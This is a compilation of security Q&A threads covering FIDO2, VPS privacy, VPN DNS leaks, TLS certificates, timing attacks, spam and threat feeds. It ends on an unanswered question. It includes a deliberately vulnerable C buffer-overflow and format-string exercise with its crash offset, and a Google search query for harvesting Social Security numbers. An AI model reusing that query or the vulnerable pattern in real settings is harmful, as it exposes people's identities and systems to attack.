FIDO2 on Windows: Why do I need a TPM? I just installed the Windows 10 1809 update, which includes support for FIDO2 passwordless sign-in. I own a Yubikey 5, which supports this standard. However, I am not able to set up Windows Hello, a prerequisite for FIDO2 sign-in, because my PC motherboard does not have a TPM installed.

Edit: The comments correctly point out that the article does not mention that Windows Hello is a prerequisite. However, the setting "Windows Hello and security keys" mentioned here is not available to me. I assume this is because I have not set up Windows Hello.

According to the same Microsoft blog post,

  The private key is stored securely on the device ... [At the same time] the public key is sent to the Microsoft account system in the cloud.

This implies that using FIDO2 login does not store any secrets in the TPM on the motherboard, since the security key stores them (as expected). If this is correct, why does Microsoft require Windows Hello, and therefore a motherboard TPM? If it's an oversight or deliberate corner-cutting, are they likely to fix it any time soon?

Is there any way I might get this to work without purchasing a TPM that I don't need and won't actually use?

(Background: I don't need this feature but I am interested in the technology and would find it fun to try out.)

Windows Hello IS a FIDO authenticator. If you don't have a Windows Hello security key (e.g. Yubikey) you can use Windows Hello. That requires a TPM. You shouldn't need a TPM to authenticate using an external key.


Could a VPS provider have access to the content of their users? Could a VPS provider like DigitalOcean have access to the content of their users? In their terms of service they do not mention anything related to this question, but could they theoretically have access (e.g., via a backdoor)?

Apart from a possible hack, how could I assure my clients that their content is only known by me, even if their data is not on my server?

When you host your data on other people's servers, then these people have full access to it.
With a virtualized server, the data is written to the hard drive of the host system. The server administrators could look at that hard drive image at any time and thus get access to the data of your users. They can also monitor the network traffic.
You could prevent access to the hard drive image by using full disk encryption. When the virtual machine encrypts all the data it writes on its virtual hard drive, that data is also encrypted when written on the physical hard drive of the host.
To prevent monitoring of network traffic, you could make sure all traffic - both administrative and user-traffic - is strongly encrypted.
But with some criminal energy, they can still monitor your data.

When you reboot your machine, you will have to enter the disk encryption password through the remote administration console. That console is under their control, so they could use that to log your disk password.
They can make a snapshot of your VM at any time, which dumps the whole RAM content to disk. This gives them access to all data currently in memory, including the decryption key of the virtual disk.
When they control the VM hypervisor, they also control all the computations the virtual machines make. It's not easy to do, but it is theoretically possible to use this to break any cryptography which happens on it.

Solution: Host your servers on your own premise where you have full access.
But will Digital Ocean do that? This is what their privacy policy says:

Server Data
DigitalOcean does not have access to its users’ server data. The backend is locked away from the users’ support staff and only engineering staff has access to the physical servers where users’ virtual machines reside. DigitalOcean does not store users’ passwords or private SSH keys. DigitalOcean also does not request user login information to their servers. DigitalOcean does not review or audit any user data.

This is what they say. Can you trust their words? Your decision to make. By the way, their Law Enforcement Guide might also be worth reading in this regard. It describes what information they suddenly do have access to when pressed by government officials.


Number of OSCP certificate holders? This might be a duplicate question.Given that OSCP has a reputation as hard to pass, does anyone have an idea of the number of people that cleared the OSCP certification course and lab examination?

Offensive Security refuses to give details on the number of their certificates' holders or on the passing rate as they "don't want to unnecessarily encourage or discourage people"


Open VPN has DNS leak Since using www.dnsleaktest.com I have found that any VPN service using Open VPN will leak my DNS through the tunnel.

I have tried and tested several VPN providers, even those who say that they have a solution to the DNS leak problem, such as Mulvad for example, and they all leak.  In addition to dnsleaktest.com, I have confirmed the DNS leak though my email provider, which logs the IP address when logging on.  Even with a VPN my actual IP will be logged.  All those what's your-ip type of sites say that my IP is coming from the VPN server when it is not.  I have also tried to fix the leak with a patch script which is downloaded from a link from the dnsleaktest website and have found that this does not work to stop the leak.  I have manually configured a remote DNS resolver in Romania through the properties menu in the adapter settings in Windows 7 but still have the leak.

Only two things I have found to not leak.  One is Ultrasurf (which I have to manually configure in the browser 127.0.0.1:9666) and the proxy which is built into Epic privacy browser.  Unfortunately these are proxies and not VPN tunnels so the servers will be generating logs, but at least my ISP is now blind and if anyone wants to know my surfing habits they will have to take up the task of getting into the proxy server logs.  So I have stopped using my paid VPN service and use the proxies because my DNS does not leak from them.

I would very much like to know if anyone has noticed the leak problem with Open VPN and found a solution to the leak.

VPNs neither leak DNS nor do they inhibit DNS leaks. A VPN is nothing more or less than an encrypted connection to a remote network. What you do with it (DNS, browsing, etc) is totally up to you and your configuration. In other words, whether or not DNS information goes thorugh your VPN depends on how you've configured your computer to use that VPN link.

A "Full Tunnel" VPN, which is where you configure your workstation to send all of your Internet traffic through the VPN, will not (cannot) leak anything.

Whether or not you're doing full-tunnel or split-tunnel isn't a feature of the VPN, though, it's determined by your own computer's configuration and routing table.

Note that this "Ultrasurf" thing where you reconfigure your browser to use a proxy address is not a VPN. It's a proxy. And proxy servers are not VPNs.


How can a SSL certificate dermine the encryption strength I've found a page from Digicert that made me very confusing.

https://www.digicert.com/compare-and-buy-ssl-certificates/

In the "Technical Specifications" Section, it listed "Symmetric 256-bit encryption"

In my opinion, the SSL certificate is only used to verify the identity of the server. The encryption strength is related to the configuration of the server.

For example, I would list a few CipherSuites:

  TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256
  TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256
  TLS_DHE_RSA_WITH_AES_128_CBC_SHA
  TLS_RSA_WITH_3DES_EDE_CBC_SHA

The SSL certificate should only determin whether the bolded text is "RSA" or "ECDSA". And the other KeyExchange and Encryption method should be determined during the SSL handshake.

The real Symmetric encryption methods' names are what after "_WITH_"

Then my question is how can a SSL certificate determin the symmetric encryption strength?  Shouldn't it be determined by the configuration od the server?

Sorry for my poor English ....

----------------Edited 2018.07.27 09:01 UTC----------------
I've found a reseller of Symantec that sell two kinds of SSL certificates, and the only differences between these two are encryption length and price.
The link is here: https://www.trustauth.cn/symantec-ssl
(You may use your browser's translate plugin tp translate this site)
And here's a screenshot of the translated page:

I've ask their Pre sale consultation staff what are the differences between these two. They said that The certificate can determine the encryption strength!

Then... anyone knows whether Symantec(Digicert) sell two kinds of EV and OV certificates and distinguish them by EVPro,EV and OVPro,OV ?
I don't think there is any difference between these two kinds of certificates...

In my opinion, the SSL certificate is only used to verify the identity of the server. The encryption strength is related to the configuration of the server.

Correct, the certificate does not determine the strength of symmetric encryption at all. DigiCert is just ticking the expected buzzwords so that the users feel safe.


segmentation fault at strcpy while perforforming a buffer overflow I have this code that I need to use to perform a ret2libc

#include <stdio.h>
#include <string.h>

int main(int argc, char *argv[])
{
    char buf[256];

    printf("buff is at:%p\n",buf);
  printf("%s",argv[1]);
  strcpy(buf, argv[1]);

  printf(buf);
}

I compile it as gcc -m32 -fno-stack-protector ./rt2.c -ort2
and than start it with a cyclic patter (generated with pwntools) as follows:

./rt2 aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaac

I was expecting a segmentation fault at the end of the main...it instead happens at the end of the strcpy...actually what happens (by looking with gdb) is that at the end of the strcpy the ESP points to 0x6361616e which is part of the input string.

Another strange thing is that printf before the strcpy does not print out anything

this is the result of the execution:

$ ./rt2 aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaac

buff is at:0xffffcf20
Segmentation fault (core dumped)

$ dmesg | tail -1
[ 4432.704356] rt2[3280]: segfault at 6361616e ip 00000000565555e0 sp 000000006361616e error 4 in rt2[56555000+1000]

Even more strange, to me, if I comment the strcpy the printf before of it does instead print out...

I tried to execute it with with valgrind and it confirmed that at some point ESP got overwritten.

valgrind ./rt2 aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaac
==2735== Memcheck, a memory error detector
==2735== Copyright (C) 2002-2017, and GNU GPL'd, by Julian Seward et al.
==2735== Using Valgrind-3.13.0 and LibVEX; rerun with -h for copyright info
==2735== Command: ./rt2 aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaac
==2735==
buff is at:0xfeffce80
==2735== Warning: client switching stacks?  SP change: 0xfeffcf98 --> 0x6361616e
==2735==          to suppress, use: --max-stackframe=1684115926 or greater
==2735== Invalid read of size 4
==2735==    at 0x1085E0: main (rt2.c:20)
==2735==  Address 0x6361616e is on thread 1's stack
==2735==
==2735==
==2735== Process terminating with default action of signal 11 (SIGSEGV)
==2735==  Access not within mapped region at address 0x6361616E
==2735==    at 0x1085E0: main (rt2.c:20)
==2735==  If you believe this happened as a result of a stack
==2735==  overflow in your program's main thread (unlikely but
==2735==  possible), you can try to increase the size of the
==2735==  main thread stack using the --main-stacksize= flag.
==2735==  The main thread stack size used in this run was 8388608.
--2735-- VALGRIND INTERNAL ERROR: Valgrind received a signal 11 (SIGSEGV) - exiting
--2735-- si_code=1;  Faulting address: 0x6361616E;  sp: 0x82d8cf20

valgrind: the 'impossible' happened:
   Killed by fatal signal

host stacktrace:
==2735==    at 0x5803F9F6: ??? (in /usr/lib/valgrind/memcheck-x86-linux)

sched status:
  running_tid=1

Thread 1: status = VgTs_Runnable (lwpid 2735)
==2735==    at 0x482A4D0: _vgnU_freeres (in /usr/lib/valgrind/vgpreload_core-x86-linux.so)

I also tried to compile with as:  gcc -g -m32 -fno-stack-protector -z stack-size=4194304  ./rt2.c -ort2 but nothing changed

Edit: I was able to replicate what you saw in a debugger at first. I set a breakpoint at strcpy, and trying to step over it would result in a segfault. However, if I set a breakpoint on the instruction after strcpy, I do not get the segfault until the end of main:

 → 0x56556239 <main+144>       lea    esp, [ecx-0x4]
   0x5655623c <main+147>       ret

So I suspect there is some oddity going on with the debugger in this case that gave a false assumption about where the crash was happening. It's clear now that it was overwriting the address that is eventually referenced here. I tried different sizes for the overflow, and eventually found one that got me a crash that bypassed this and gave control over EIP; a size of 268 seems to work.

Original Answer:
Considering that the segfault occurs during strcpy and you are thus unable to overwrite the return address, I think the problem may require a different approach. The presence of printf(buf); seems like this is supposed to be solved by exploiting a format string vulnerability. It may allow you to overwrite nearly any arbitrary address. If the stack address pointing to the saved return pointer is on the stack, you may be able gain control by writing to it.

I'm not exactly sure why the segfault is happening where it is, but I suspect the stack layout may simply be unfavorable for hijacking execution flow with a buffer overflow. It is "undefined behavior", after all.


Security risks with setDomStorageEnabled(true) in Android? What are the security risks associated with enabling setDomStorageEnabled(true) method?

Reference.

The DOM storage control is set to true, which allows the application to store page elements that could include user sensitive information. Setting the DOM Storage value to false will prevents local storage from being used.


Securing Javascript plugin My company offers a Javascript plugin that is meant to be embedded with websites. It works in a similar fashion to Google Analytics, in which you add a bit of Javascript and then it does some magic on the website. Contrary to Google Analytics, this plugin will have some visible side-effects for the end-user. These are expected.

The JS plugin itself writes data back regularly to our servers but, same as Google Analytics, we do not hold authentication data for the end-users that will use our plugin. So, how can we secure user input in this situation?

Updating definition of secure

I want to minimize the amount of unwanted data our users can send to our system.

Just as @m1ke stated, "You can't control what users send to your system, you can control how you handle it." Javascript runs directly in the browser and can be seen by anyone (as can the network calls), therefore you can't really control what they send you. Otherwise, I recommend viewing Google Analytics' Security Policy. Aside from this simply follow general Javascript best practices as documented in the following links:

Wikipedia's Javascript/Security section
OWASP's Ajax & other interfaces
OWASP's Sandbox for testing

lastly, in terms of "minimize the amount of unwanted data" I also suggest investigating rate limiting. Essentially this may restrict an overabundance of requests and may reduce the "garbage". Twitter's example and Github's example.


Sending Syslog/SNMP information over the internet using standard UDP port 514 I'm looking into monitoring a Windows VPS by sending Syslog messages to a Synology NAS, which can generate email alerts and such. I also would like to use SNMP to generate health stats, and see trends over time. Its supposed to provide intrusion detection as well as health monitoring.

After evaluating many Syslog Windows agents, I have not yet found a single freeware agent that supports TCP over HTTPS (while the Synology server does support it). They're almost all hardcoded to UDP port 514 (well, I can change the port on some, but I don't consider that helpful).

Since I'm planning to send converted windows eventlog messages over, I don't feel comfortable sending them unencrypted (they can contain full stacktraces and stuff like that).

I have looked into ways to limit the risk, and the only thing I can find is setting up the firewall to limit the sending of Syslog messages to my IP address. For SNMP the firewall can be limited to only accept requests from my client. An alternative is a commercial product with some hacks (which I'm not feeling really comfertable with).

The strange thing is that it seems like UDP 514 is the standard and even recommended looking at the answers in this thread, just like SNMP.

Am I too careful? It seems like the rest of the world has no problem with UDP? Do hosting providers of VPS servers prevent sniffing software on the internal (virtual) network? Or is it just safe to use UDP after all?

You have a few options:

First one that comes to mind is creating an SSH tunnel from your Windows Server to your Syslog Server and sending your syslogs to localhost:1514 which would tunnel to logserver:514. This would encrypt your Syslog data in an SSH tunnel. You can do this several ways, like a batch script on startup to invoke PuTTy, like this http://howto.ccs.neu.edu/howto/windows/ssh-port-tunneling-with-putty/
Secondly, which is what I do, is use a tool like Logstash to receive syslogs and read log files locally, and set up an output over HTTPS. Logstash requires Java Runtime, but is very powerful, uses very little resources, and is extremely customizable.
You can pay for syslog-ng professional which will do TCP over 514 and you can apply TLS/SSL to it.


How is it possible that you can see connected clients of an WiFi without even connected with it? Hey folks I have an small question about Network security.

I was playing around yesterday with airodump-ng and saw that I was able to see that my other laptop is connected to that WiFi but how is it possible?

BSSID              STATION            PWR   Rate    Lost    Frames
"Router MAC"         "My Laptop MAC"
D4:60:E3:55:7D:2C  18:CF:5E:C2:70:C1  -21   0e- 0e    0      6895

It's because the MAC addresses are seeable in "clear text", or we should say clear waves.
Else how should the wifi router know the received frame is for him ?
See OSI Model. The encryption is in higher layers.


How do hackers find vulnerability? Is it a rigorous trail and error exercise or do they actually read the whole code to "think" about it to find the vulnerable point?

The latter (whole code to "think" about it to find the vulnerable point?) if it's white-box testing where you require expertise to go through the code and pick out vulnerabilities or even security weaknesses which could be escalated to a compromise.

If it's black-box and an attacker has to guess the source which is behind firewalls, the web application, etc.. he has to go through trial and error but obviously in the right directions (which means he should have knowledge on which part could lead to weaknesses and where he should start, e.g. entry points, parameters {if in web applications}).

Now, this doesn't mean what's the vulnerability. You have a threat agent which is obviously an attacker in this case (which you term it as a hacker), now since there is a threat agent, there has to be a weakness to exploit and hence there must be existence of a vulnerability to be able to exploit or compromise a system or a part of the system. It doesn't matter what route you take (for e.g. wireless to sniff the passwords and then compromise, or hijack session and then compromise or exploit SQL Injection to compromise databases and then extract passwords, or a buffer overflow), what it only matters to any time independent attacker is the fact that a vulnerability should exploit a system.

If it's a hacker in bad terms - he'd compromise for financial or reputation gains, if not he's merely just acting as a hacker and having his day job as a security practitioner.

Note: hacking just because you're curious is again sound-fully illegal these days according to laws of state.


Is there any point to keeping a "Verified by X" image on the page for a page secured by SSL? So, I saw this on a page:

(The redacted part says the name of the entity that owns the domain)

The page recently got SSL certs verified by GeoTrust. The image is on https://smarticon.geotrust.com/smarticon?ref=hostname and on clicking it we get sent to https://smarticon.geotrust.com/smarticonprofile?Referer=hostname, which shows:

But I don't quite get the point of this image. To me, it's detracting attention away from the green URL bar and shifting it to the spoofable image.

Is there any point in CAs giving customers these images to put on the page?

Personally I completely disagree with any form of security assertion on a webpage. I'm writing a blog at the moment about exactly this.

Many financial institutions features things like "Log In Securely Here" links and pictures of padlocks dotted all around the place. A simple SSLstrip attack and the user is browsing the page over http:// yet they are logging in "securely" because, well, the page says so and there is a picture of a padlock so it must be secure.

I also agree with your point that it detracts the user's attention away from the address bar which is the only place a user should look to seek assurances about the security of their connection. Expecting them to look for and trust a jpg that says the site is secure is a bad practice. Anyone can put a padlock icon on their site and say it's secure when it isn't.


Relationship between HTTPS and SSH Public Keys I can use my private key to generate a public key for use with ssh.  I can use the same private key to generate a CSR, to generate a CLIENT certificate for HTTPS.

Specifically, my SSH public key is:

ssh-rsa
AAAAB3NzaC1yc2EAAAADAQABAAAAQQCwYzCxnKg/YrnEp7whFTwKytweCGIUGQFHJvFi/SKhN/q/pmRRxjyODpqiMR77g3oF8uD36n2Bl/719BAcXUVv

And my HTTPS public key (Client Certificate) is:

Modulus (1024 bits):
a8 88 9e 0f 46 98 3e 6a c0 6d 4a ca dd fa 69 cd
6c 19 d8 ff 44 92 e5 75 7a 37 2d ad 2f 6c ea f1
e5 b4 28 6e 80 d3 3e 57 09 d7 20 56 1e 54 0d 8d
f0 3e 06 49 46 8f c2 2d 20 d3 d0 c6 8d f3 af 91
aa 70 a7 60 be 7d 56 bc e4 48 8e b4 66 f8 9e 95
20 de 91 b5 cb 8f 0e d9 5e 9a c4 f4 5b 93 16 9d
80 73 1b c5 72 ae aa fe 4b 18 23 79 4a f2 76 b9
a2 d1 59 d9 4a c3 a6 70 2e 8d f3 2d 5b 97 27 df

So my question is: what is the relationship between these public keys?  It is not obvious to me (by inspection) that they are the same, but I'm wondering if there is some transformation I can do to get from one public key to the other.  Is it possible to have a SSH-public-key and a HTTPS-public-key that are the same value?

The two keys you show are encoded differently - obviously, the first is base64 encoded, and the second is hexadecimal encoding.  You would need to determine the formats used and their encoding to determine how to reconcile the two.  And in both cases it's a packed structure, not just raw key data but discrete bits of data like key type, exponent, and modulus.

Fortunately for you, somebody already figured out how to convert between the two.  Lars Kellogg-Stedman walks through the RFC 5246 format of the SSH key, and uses the PyASN1 Python module to convert to PKCS#1 format.


Google hacking - why "numrange" is so dangerous? I'm reading Google Hacking for Penetration Testers and in book it's said several times operator "numrange" is especially powerful and dangerous. However, they don't give example of using this operator. I found similar claims over the net, however, again, without any example at all how one can use it.

I'm little bit in dark here - I know this operator is dangerous weapon in the hands of a malicious social engineer, but I don't know how one can use this weapon and how to mount self-defence.

I know this operator is used to search for a range of numbers on web. I guess you could use it to track down social numbers (however, I'm not sure how you could pin down a person using the range around social number and not +"insert social number"), phones (let say I know range of phone numbers which is used by targetted organization) and to research an address (to get informations about neighbours). Still, I don't see why this is such an "evil" operator...

So, what is so special about the numrange operator and how can it be used in pen-testing? How can you defend yourself against numrange (not against google hacking as a whole)?

I did little more digging by myself and I was playing with Google for a couple of hours...

The numrange operator was much more problematic when it was introduced by Google than it is now. A couple of years ago you could harvest CC#s, but then Google limited the range of numbers in a query to 5 digits. If you use 6 digits in a query then you get this:

However, it is still possible to harvest SSNs. The trick is to break a number (SSN) into smaller pieces.  In the USA, the first three digits of an SSN represent the state. The second group of numbers (2) represents the group number and the last group of digits (4) indicates the serial number.

The query itself could like like:

+ssn "486..500-01..99-0001..9999"

This would return all SSN from Missouri.

The Numrange operator has legitimate uses (unrelated to social-engineering) such as searching for addresses, price ranges, page numbers, years (e.g. Aston Martin 1950..1960) and so on.


Short integer hashes to mitigate timing attacks on passwords Assuming we want to protect against timing attacks on our hashed passwords because even to know the hash may give to the attacker a significative advantage then we may want to perform a constant-time or fixed-time string comparison for our hashes.

However constant-time comparison is not a simple task as we may expect because compiler may be against us and simple random delays will just stop the most naive attacker.

With all these premises we may mitigate this issue (does we need to? passwords are often stored in databases/durable medium and in any real-world system this will add noise) using this pseudo-code:

// Possibly pre-computed or cached values...
string passwordHash = "550b1f8802ca3d7a987fc46a2af408c3";
int shortPasswordHash = SimpleHash(passwordHash);

// Function to validate a password
bool IsPasswordValid(string hashedPasswordToValidate)
{
    if (SimpleHash(hashedPasswordToValidate) != shortPasswordHash)
        return false;

    return hashedPasswordToValidate.Equals(hashedPassword);
}

Note that string comparison (on hashed password) is still vulnerable to a timing attack but chances to leak useful information to an attacker should be lower (and this algorithm is easily applicable in most languages - even those without a built-in constant-time password/hashes comparison).

Same reasoning is also applicable if we don't have an hashed password but directly plain-text (!!!) like this:

string password = "12345";
string longPasswordHash = BCrypt(password);
int shortPasswordHash = SumAllCharactersWithoutOverflow(longPasswordHash);

bool IsPasswordValid(string passwordToValidate)
{
    string longHash = BCrypt(passwordToValidate);
    int shortHash = SumAllCharactersWithoutOverflow(longHash);

    if (shortHash != shortPasswordHash)
        return false;

    return longHash.Equals(longPasswordHash);
}

Do we still want/need to use a better constant-time comparison function in any real-world non-academic scenario?

Really you want to ensure that the comparison function takes the same length of time regardless of the success or failure of the comparison.  Functions such as strcmp() etc may shortcut this and return failure on the first byte that does not match.

Likewise with higher level languages with string objects, where == and != can be used, we are reliant on the compilers implementation.

So to ensure constant time, a good solution is to always perform a byte by byte comparison of all the bytes of the hashed value, and then return true/false based on that comparison.

for example:

int contstant_time_compare(char *a, char *b)
{
    int i = 0;
    int len = strlen(a);
    int diff = 0;
    for(i = i ; i < len ; i++)
    {
         diff |=  a[i] ^ b[i];
    }
    return (0 == diff);
}


Can data be appended to messages without changing the hash? I recently learned about message authentication codes at uni and the lecturer said that it's important to use a padding to make the message an integer multiple of a certain length before hashing because otherwise "many" hash function allow data to be appended without changing the hash.

I didn't mishear that. It's on a lecture slide.

This lecture slide also shows this titled "actual implementation":

HMAC(Key, M) = H((Key ⊕ opad) ∥ H(Key ⊕ ipad ∥ M))

Meaning of the symbols:

M: message
H: cryptographic hash function
Key: symmetrical key
opad, ipad: inner/outer padding
∥: concatenation
⊕: XOR

First of all, I find the "actual implementation" rather awkward. That probably should be opad and ipad n times with n*length(opad) ≥ length(key) and n*length(ipad) ≥ length(key).

But mostly, I find that hard to believe and can't seem to find anything about it on the internet. Does this actually occur with cryptographic hash functions?

Are you referring to a Length Extension Attack?

  In cryptography and computer security, a length extension attack is a type of attack where an attacker can use Hash(message1) and the length of message1 to calculate Hash(message1 ∥ message2) for an attacker-controlled message2. This attack can be used to sign a message when a Merkle–Damgård based hash is misused as a message authentication code, allowing for inclusion of extra information.

  This attack can be done on hashes with construction H(secret ∥ message)1 when message and the length of secret is known. Algorithms like MD5, SHA-1, and SHA-2 that are based on the Merkle–Damgård construction are susceptible to this kind of attack.1[2][3] Note that since HMAC doesn't use the construction H(key ∥ message), HMAC hashes are not prone to length extension attacks.[4] The SHA-3 algorithm is not susceptible to this attack.[5]


TLS mutual authentication client hostname verification What is the purpose of server-side verification of the client hostname in a mutually authenticated TLS connections? How important is this?

The exact verification done with client certificates depends on the use case. For example in SIP (voice over IP) it is common that the same same system can be both client (initiating a call) and server (accepting a call). In this cases it is common that the same certificate is used as client and server certificate and that it contains the hostname of the SIP device. But with HTTPS it is more common that the client certificate contains an email or other user specific identify and no hostname at all.

If the subject of the certificate should be verified or not depends on the use case too. In some cases the server knows which subject to expect and can verify that the certificate matches the expectation. But for example in HTTPS the server typically only knows that it expects a certificate issued by a specific CA (and verifies this expectation) and then simply assumes the user information in the certificates subject are correct (since the CA is trusted to put the right information there) and uses the extracted user information to determine which user has been connected, i.e. instead of giving the username in a login prompt.


is it secure to use proxychains+tor while logged in as root when using proxychains+tor in kali,you should  be logged in as root because proxychanis doesnt work when you are not logged in as root but using tor while logged in as root is not secure so what is the correct way of using proxychains+tor,is it even possible to use these while you are not root?

Running those programs themselves would be pretty safe if they really need to run as root (I'm sure they can be ran as a normal user with the correct configuration).

What is definitely not secure is being logged in as root and running everything else as root, like a desktop environment or a web browser.


Testing an untrusted browser extension securely on macOS I have received a .zip file containg a browser extension for Google Chrome.

How can I test this safely? Current options I consider:

1) Using a VM. Installing VirtualBox on my macos, and then running it from there. Disadvantages is: slow & clunky

2) Creating a separate user on my system and testing there. Disadvantages: you have to switch user when you want to test something.

How do you tackle this?

I recommend using a VM because it is designed to be securely isolated from the rest of your system. This especially important now that now-publically-known vulnerabilities such Spectre/Meltdown/to-be-discovered-vuln allow simple things such as JavaScript to read memory that they should not have access to.

While it is really slow, I have found that the inconvenience reminds me that I'm on a VM and that it is the home of untrusted code, not personal data.

Regarding using multiple system accounts: it simply puts the untrusted code closer to be your system than it needs to be. In addition, I can tell you from personal experience (I tried out #2 a few years ago, setting up 6 accounts in total) that it will drive you crazy


Spam from .stream TLD - what can I do? Over the last couple of days my personal email address (from my own domain) has started received 10+ spams a day from domains like spin06.stream, spin07.stream, talk05.stream, talk07.stream, all registered in whois to a 'company' in Panama designed to hide whois information (the 'company' is called WhoisGuard Protected).

Clearly some generous soul has just put me on their 'annoy the hell out of him' list.

The spam filter controls on my hosting provider are pretty limited (they're not catching these emails), so I'm unlikely to be able to filter by top level domain, wildcard or similar. The emails themselves are for many different sites and products, so there's not one company I can contact to say 'take me off your list' (I did 'unsubscribe' from a few, which is probably a bad move as it just confirms the email address is live...). Instead presumably some 3rd party spam provider has added me to their list and for obvious reasons they want to hide their real identity.

I can't simply forward all mail to a gmail or similar and use gmail spam filtering, because the mailbox on my personal email address will still fill up.

On the assumption I can't actually filter these emails with my current hosting provider do I have any options but to (a) hope they stop, (b) switch to a different hosting provider which might have more tunable spam filters or (c) abandon my personal email address?

Is there any way to find the spammer?

You can ask your hosting provider to reject messages using the worst TLDs. You can have a list of the 10 worst ones on The World's Most Abused TLDs page at Spamhaus. FYI, I've already receive much spam from the .stream TLD too, and also from the .top one. I suppose that this is safe as users should avoid TLDs with a bad reputation anyway.

Otherwise you can change to a better hosting provider, with better spam filtering.

There's no way to find the spammers, and that's probably why they use such TLDs, which provide them some protection, as mentioned on the cited page above.


Encrypting user credentials using AES: how to hide the key One of my software (an R package) has to save on disk users sensitive information.

I encrypt such information using AES encryption using a random key that
is generated at the moment of installation (which is saved in the same directory where I store the user profile).

I am trying to find a way to obfuscate the key and avoid other users on the same machine to access the other users key (the key are of course have read permissions only for the users who created the, but super users can use the key and read other profiles).

I would like to know:

is it really necessary worrying about superusers? My gut feeling says no: in princible whathever the encryption method a superuser can read all the files and ultimately any kind of keys of the users;
is ther a better way store a user profile other than encrypting it using AES or any other method?

is it really necessary worrying about superusers? My gut feeling says no: in princible whathever the encryption method a superuser can read all the files and ultimately any kind of keys of the users;

Kind of. Even if the file is encrypted and the decryption is only done within the process the superuser has on most systems access to the process memory and can thus extract the decrypted data from there. Of course it takes way more knowledge to do that instead of just reading the plain file.

  is there a better way store a user profile other than encrypting it using AES or any other method?

That's not an easy question and depends a lot on the environment you work in, how you trust your users, how the overall security is, how sensitive the data are and maybe also a corporate policy or similar restrictions. If you don't trust the superuser or fear a system compromise then simply don't store and handle any sensitive data on the system. If users can be tricked into executing code on the system then it will not help if the files are encrypted but can be decrypted without user interaction...

In short: there is no general answer. There is no 100% security and you have to evaluate the risks in your environment and which risks are acceptable. Based on this you can then go the cheap high-risk way or the costly low-risk way or something in between. In some cases "better" means easier usability at the cost of a higher risk, in other cases "better" is low risk even if it causes usability problems and other costs. Having the key together with the encrypted data is definitely high risk which might be lowered but not eliminated by obfuscation of the key and anti-debugging features in the decryption software.


Is Google a feasible tool for an organization to check if their name is being used in phishing sites? Is it feasible for an organization to use Google and the available Google search operators (e.g. allinurl, etc) to find out if their organization name is being spoofed or used in phishing sites and then subsequently report them to relevant authorities such as CERT?

Are there any other better solution than this?

You can try to take the best out of Google to find out if your organization is having a phishing sibling, but it won't probably show you all the phishing websites.

If a take the allinurl example, and you're looking for similar website as paypal, if the attacker choose a name like paypall or paypol, this won't be seen in the Google result page. Now, this can pop up some good one, as you can see on this interesting link (that answer a bit of your question too).

You will have more success searching with the intitle parameter, like :
https://www.google.fr/#q=intitle%3A%22PayPal+Merchant+Services+-+Payment+Solutions+for+Your+Business+-+PayPal%22 because they will make the phishing website look identical to yours, so you will have more chance to find them using the title tag.

Now, this won't never be 100% efficient.

A good alternative is to use this service, PhishTank, which list all the phishing websites reported by users. But again, if no one reported a malicious website, you won't find it.


Malicious IP addresses I am looking for updated lists of IP addresses that belong to malware's C&C, botnets, malicious scanners, or other sort of malicious activities.

Is there any public database of malicious IP addresses?

There are several freely available threat intelligence feed around.

See e.g. https://threatfeeds.io/

Do note that such lists are ephemeral in nature. Which IPs are currently being used for malicious activity is ever changing, and the information generally decreases in value as soon as it is openly published. For this reason, most high-quality threat feeds come from organizations that either sell them, or only share them with trusted partners.


How to make sure that a password manager is not malicious? Should I disable automatic updates of password management software, such as KeePass? Is there a way to block the software's server from accessing the internet? What if someone in the company adds a malicious feature to the next version of the software?

The question is general, but I'm particularly interested in the Windows version of KeePass.

Without certification by an independent body or access to the source control and a real understanding of what you are looking for you can't be absolutely sure that it isn't malicious.

What you can do is to use well established, known password managers like Keepass and keep them updated to patch any vulnerabilities, so you should not disable updates. You could create a rule to ban the application connecting to the internet via something like Windows Firewall or Zonelarm.  Though with so many security researchers, if these well respected products were phoning home, we'd know about it by now.

There's always a small risk a  malicious insider may sneak something untoward in, or a backdoor to serve the government maybe,  it's hard to be sure. It's about balancing the likelihood and risk against the benefits you gain.


Access-Control-Allow-Origin possible threats on static JS file As I am working on a research, I need allow users to read my JavaScript file using Ajax. However, I want to make sure about consequences of adding Access-Control-Allow-Origin header for just this file.

Access-Control-Allow-Origin: *

I know about the goal of origin control and all examples about accessing behalf of user. However, enabling this feature for just one static JS file can cause any security problem?

Any help is appreciated.

I don't think it can really cause any harm on a Javascript file. The problem starts when this is possible on a web page.


Email confirmation techniques in major sites The way I understood traditionally for email confirmations to work is the user registers to the site with their email and then to login they must verify their email.

If they have not verified their email they simply cannot log in. I noticed some major website for instance allow you to register and login without email verification.

